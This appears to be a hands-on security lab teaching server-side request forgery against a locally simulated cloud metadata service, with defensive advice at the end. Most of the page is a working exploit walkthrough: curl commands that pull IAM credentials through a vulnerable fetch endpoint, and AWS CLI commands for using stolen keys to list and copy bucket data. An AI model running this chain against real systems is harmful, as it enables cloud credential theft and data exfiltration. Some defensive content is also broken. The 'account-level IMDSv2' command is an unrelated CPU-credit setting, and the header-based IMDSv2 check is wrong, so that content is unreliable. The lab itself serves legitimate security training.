← All labs
HardWeb Exploitation ~30 min

SSRF to Cloud Metadata

Abuse a server-side URL fetcher to reach the cloud metadata endpoint and steal simulated IAM credentials.

↳ Based on the lesson: Server-Side Request Forgery

Legal Use Only

Server-Side Request Forgery testing must only be performed on applications you own or have explicit written authorization to test. Accessing cloud metadata endpoints on real infrastructure without authorization is illegal and may trigger incident response. This lab uses a simulated metadata service running locally on your own VM.

The web application will fetch any URL you give it. You're going to give it one it was never meant to visit.

Scenario

You're testing a cloud-hosted web application that offers a "URL preview" feature - paste a link, and the server fetches it and returns a preview. The feature is intended to fetch public pages. It has no allowlist. You're going to point it at 169.254.169.254, the link-local address reserved by every major cloud provider (AWS, GCP, Azure) for their instance metadata service - and retrieve simulated IAM credentials from the response.

Setup:

# Step 1: Simulate the metadata service with a local HTTP server
$ mkdir -p /tmp/metadata/latest/meta-data/iam/security-credentials
$ cat > /tmp/metadata/latest/meta-data/iam/security-credentials/vr4cs-role << 'EOF'
{
  "Code"            : "Success",
  "Type"            : "AWS-HMAC",
  "AccessKeyId"     : "ASIA4EXAMPLEKEY1234",
  "SecretAccessKey" : "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token"           : "AQoXnyc4lcK4w4OIaYmEA...(truncated)",
  "Expiration"      : "2099-01-01T00:00:00Z"
}
EOF
 
# Step 2: Run a Python HTTP server on 169.254.169.254 (requires root + alias)
$ sudo ip addr add 169.254.169.254/32 dev lo
$ cd /tmp/metadata && sudo python3 -m http.server 80 --bind 169.254.169.254
 
# Step 3: Run the vulnerable "URL preview" app in another terminal
$ pip3 install flask requests --quiet
$ python3 - << 'EOF'
from flask import Flask, request
import requests as r
app = Flask(__name__)
@app.route("/fetch")
def fetch():
    url = request.args.get("url","")
    try:
        resp = r.get(url, timeout=3)
        return resp.text, 200
    except Exception as e:
        return str(e), 500
app.run(port=5000)
EOF

Your Objective

  1. Confirm the fetch endpoint will request arbitrary URLs
  2. Hit the metadata base path to discover the endpoint tree
  3. Navigate to the IAM credentials path and retrieve the simulated access keys
  4. Understand why those credentials are dangerous in a real AWS environment
  5. Enumerate additional metadata paths (instance ID, region, user-data)

Hints

Hint 1 - confirm SSRF with a safe target first

Before hitting the metadata IP, confirm the server will fetch external URLs. Point it at http://127.0.0.1:5000/fetch?url=http://127.0.0.1:5000/ - if it returns the app's own HTML, server-side request forgery is confirmed.

Hint 2 - the metadata IP is always the same

AWS, GCP, and Azure all use 169.254.169.254 as their instance metadata IP. It is only reachable from within the instance itself - which is exactly where the vulnerable app is running. From your browser you cannot reach it directly, but the server-side fetch code can.

Hint 3 - traverse the path tree

The metadata API is hierarchical. Start at http://169.254.169.254/latest/meta-data/ to get a directory listing. Then append path components to navigate deeper. The IAM credentials path is iam/security-credentials/{role-name} - but you need to discover the role name first.

Walkthrough

Step 1: Confirm SSRF - fetch a known internal resource
# Point the fetch endpoint at localhost to confirm server-side execution
$ curl -s "http://localhost:5000/fetch?url=http://127.0.0.1:5000/"
# If you see the Flask app's response, the server fetched it server-side - SSRF confirmed

The URL parameter is passed directly to the server's HTTP library. The server makes the request from its own network context - meaning it can reach addresses your browser cannot, including 169.254.169.254.

Step 2: Hit the metadata root and enumerate paths
# Fetch the metadata root listing
$ curl -s "http://localhost:5000/fetch?url=http://169.254.169.254/latest/meta-data/"

Expected response (directory listing from the simulated server):

ami-id
hostname
iam/
instance-id
instance-type
local-ipv4
placement/
public-hostname
public-ipv4

The iam/ entry is what you want. Navigate into it:

$ curl -s "http://localhost:5000/fetch?url=http://169.254.169.254/latest/meta-data/iam/"
security-credentials/
Step 3: Retrieve the IAM role name
# List available IAM roles attached to this instance
$ curl -s "http://localhost:5000/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Output:

vr4cs-role

This is the name of the IAM role attached to the EC2 instance. Now request its temporary credentials:

Step 4: Steal the credentials
$ curl -s "http://localhost:5000/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/vr4cs-role"
kali@vr4cs: ~
 

You have retrieved AccessKeyId, SecretAccessKey, and a session Token - the three components needed to authenticate as the EC2 instance's IAM role from anywhere on the internet.

Step 5: Understand the blast radius (real-world impact)

In a real AWS environment, these credentials would be used like this:

# Configure stolen credentials in the AWS CLI
$ export AWS_ACCESS_KEY_ID=ASIA4EXAMPLEKEY1234
$ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
$ export AWS_SESSION_TOKEN=AQoXnyc4lcK4w4OIaYmEA...
 
# What can this role do?
$ aws sts get-caller-identity
$ aws iam list-attached-role-policies --role-name vr4cs-role
 
# If the role has S3 access:
$ aws s3 ls
$ aws s3 cp s3://company-internal-bucket/secrets.env .
 
# If the role has EC2 access:
$ aws ec2 describe-instances --region us-east-1

The Capital One breach (2019) used SSRF to reach the metadata service and retrieve credentials with broad IAM permissions, leading to the exfiltration of 100 million customer records.

Step 6: Enumerate other useful metadata paths
# Instance ID and region - useful for understanding the target environment
$ curl -s "http://localhost:5000/fetch?url=http://169.254.169.254/latest/meta-data/instance-id"
$ curl -s "http://localhost:5000/fetch?url=http://169.254.169.254/latest/meta-data/placement/region"
 
# User-data - often contains bootstrap scripts with hardcoded secrets
$ curl -s "http://localhost:5000/fetch?url=http://169.254.169.254/latest/user-data"
 
# IMDSv1 vs IMDSv2 - check if token-required header is enforced
$ curl -s -H "X-Forwarded-For: 169.254.169.254" \
  "http://localhost:5000/fetch?url=http://169.254.169.254/latest/meta-data/"

Solution

The SSRF → credential theft chain:

# Step 1: list IAM roles
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
 
# Step 2: retrieve credentials for the discovered role
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

Why it works: The metadata service at 169.254.169.254 is designed to be accessible only from the instance itself - it assumes any request reaching it originates from the authorized workload. The SSRF vulnerability causes the application server to make requests on your behalf from inside the instance's network context, bypassing that assumption entirely. No authentication is required to read credentials from IMDSv1.

Defend It

The primary fix: IMDSv2 (token-required mode)

AWS Instance Metadata Service v2 requires a PUT request to obtain a session token before metadata can be read. SSRF attacks using simple GET requests cannot obtain the token and therefore cannot access the metadata service.

Enable IMDSv2 on EC2 instances:

# Enforce IMDSv2 on launch (set hop limit to 1 to also block container escapes)
$ aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-put-response-hop-limit 1
 
# Enforce IMDSv2 at the account level for all new instances
$ aws ec2 modify-default-credit-specification \
  --instance-family standard \
  --cpu-credits standard

Application-level defences:

  • URL allowlist - restrict the fetch feature to a specific allowlist of approved domains/IPs. Reject requests to RFC 1918 addresses, loopback, and link-local ranges (169.254.0.0/16, 127.0.0.0/8, 10.0.0.0/8, 192.168.0.0/16, 172.16.0.0/12).
  • Resolve before fetching - resolve the hostname to an IP, validate the IP is not in a blocked range, then fetch using the resolved IP (not the original hostname, to prevent DNS rebinding).
  • Network-level block - use host firewall rules or VPC security groups to block outbound traffic to 169.254.169.254 from application servers that don't need it.
  • Least-privilege IAM roles - even if credentials are stolen, a role scoped to only the specific S3 buckets and actions the application needs limits the blast radius.